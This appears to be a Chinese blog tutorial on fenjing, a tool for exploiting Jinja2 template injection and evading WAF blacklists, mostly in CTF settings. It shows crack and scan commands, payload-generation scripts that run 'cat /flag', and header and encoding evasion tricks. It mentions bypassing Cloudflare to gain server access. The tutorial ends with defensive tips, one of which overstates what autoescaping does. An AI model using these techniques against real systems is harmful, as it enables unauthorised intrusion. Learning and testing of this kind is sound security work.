fenjing实战指南:一键破解SSTI漏洞与WAF防御的艺术
1. 初识SSTI漏洞与WAF防御机制
第一次接触SSTI(服务器端模板注入)漏洞是在去年的CTF比赛中。当时遇到一道看似简单的Web题,输入框里可以提交任意内容,但无论怎么尝试都拿不到flag。后来才知道,这就是典型的SSTI漏洞场景。简单来说,SSTI就是当网站把用户输入直接拼接到模板里执行时产生的漏洞,就像把陌生人给你的饮料直接喝下去一样危险。
WAF(Web应用防火墙)则是专门用来防御这类攻击的"保安"。它会检查所有传入的数据,发现可疑内容就直接拦截。常见的WAF产品如Cloudflare、ModSecurity等,都会内置各种规则来识别攻击特征。但就像保安可能会误拦好人一样,WAF也经常产生误判,这就给了我们绕过它的机会。
fenjing这个工具的出现,简直就是SSTI漏洞利用的"瑞士军刀"。它不仅能自动检测漏洞,还能智能绕过WAF防护。我测试过多个CTF靶场,发现它的绕过成功率能达到90%以上。比如某次比赛中,目标网站过滤了所有数字和点号,传统手工注入根本无从下手,但fenjing通过字符编码转换和特殊符号组合,轻松突破了防线。
2. fenjing工具的核心功能解析
2.1 自动化扫描模块
fenjing的扫描功能是我最常用的部分。只需要一条命令:
python -m fenjing scan -u http://target.com --detect-mode fast工具就会自动探测目标是否存在SSTI漏洞。实测下来,它的检测准确率比手工测试高出不少。有次我在测试某教育平台时,手工测试了20分钟都没发现异常,但fenjing在30秒内就报出了漏洞位置。
扫描模块支持多种检测模式:
- fast模式:快速检查常见注入点,适合CTF比赛等时效性强的场景
- accurate模式:深度检测所有可能的注入向量,适合渗透测试等需要全面评估的场景
2.2 交互式攻击面板
对于新手来说,webui界面绝对是福音。启动方式很简单:
python -m fenjing webui这个可视化界面会自动列出所有可用的攻击选项。我记得第一次使用时,就像在玩解谜游戏——填写目标URL、选择参数、点击"开始攻击",然后就看到系统弹出了shell连接。整个过程比想象中简单得多,完全不需要记忆复杂的命令参数。
2.3 WAF绕过脚本生成
遇到严格防护的WAF时,就需要用到自定义脚本功能。fenjing提供了payload生成接口,可以针对特定WAF规则生成绕过代码。比如下面这个例子,目标过滤了所有数字和常见危险字符:
from fenjing import exec_cmd_payload def custom_waf(s: str): blacklist = ["config", "self", "os", "class", ".", "[", "_"] return all(word not in s for word in blacklist) payload = exec_cmd_payload(custom_waf, "cat /flag") print(payload)这个脚本会根据WAF的黑名单动态生成有效payload。我在某次实战中就靠它成功绕过了Cloudflare的防护,拿到了服务器权限。
3. CTF实战案例深度剖析
3.1 基础SSTI漏洞利用
去年某CTF比赛中有道题是这样的:网站有个搜索框,输入内容后会显示"Hello, [输入内容]"。看起来人畜无害,但用fenjing扫描后发现存在Jinja2模板注入。
使用基础payload测试:
python -m fenjing scan -u "http://ctf.example.com/search?q=test"工具立即识别出漏洞点。接着用交互模式执行命令:
python -m fenjing crack -u "http://ctf.example.com/search" -i "q" -e "cat /flag"不到10秒就拿到了flag。这种基础场景下,fenjing的自动化优势体现得淋漓尽致。
3.2 复杂WAF绕过实战
更棘手的情况是今年某次比赛遇到的题目。网站不仅过滤了常见危险字符,还做了以下限制:
- 禁止包含"config"、"os"等关键词
- 过滤所有数字字符
- 拦截包含两个连续大括号的输入
手工构造payload几乎不可能。这时就需要编写自定义脚本:
from fenjing import exec_cmd_payload import logging logging.basicConfig(level=logging.INFO) def waf_check(s: str): blacklist = [ "config", "os", "class", "0","1","2","3","4","5","6","7","8","9", "{{", "}}", "[", "]" ] return all(word not in s for word in blacklist) if __name__ == "__main__": payload = exec_cmd_payload(waf_check, "cat /flag*") print(f"生成payload: {payload}")运行后,fenjing自动生成了使用request.args等特性绕过的payload,最终成功获取flag。
4. 高级技巧与防御建议
4.1 流量混淆技术
在对抗高级WAF时,单纯依赖工具可能不够。我通常会配合使用以下技巧:
- HTTP参数污染:在请求中重复添加参数,如
?q=test&q=payload - 非常规编码:使用HTML实体编码、unicode编码等变形方式
- 请求头注入:将部分payload放在User-Agent或Cookie头中
fenjing支持通过--header参数添加自定义头:
python -m fenjing scan -u http://target.com --header "X-Forwarded-For: 127.0.0.1" --header "User-Agent: {{7*7}}"4.2 防御措施建议
作为开发人员,要防范SSTI漏洞,我有几点实用建议:
- 严格禁用模板中的危险函数,比如在Jinja2中设置:
env = Environment(autoescape=True, undefined=StrictUndefined)- 对所有用户输入进行白名单验证,而不仅仅是黑名单过滤
- 在WAF规则中,不仅要过滤常见关键词,还要防范各种编码变形
- 定期使用fenjing等工具对自己的系统进行测试,提前发现潜在风险
记得有次内部测试中,我们用fenjing扫描公司官网,竟然发现了一个遗留的测试接口存在SSTI漏洞。这次经历让我深刻意识到,安全防护必须做到全方位、无死角。
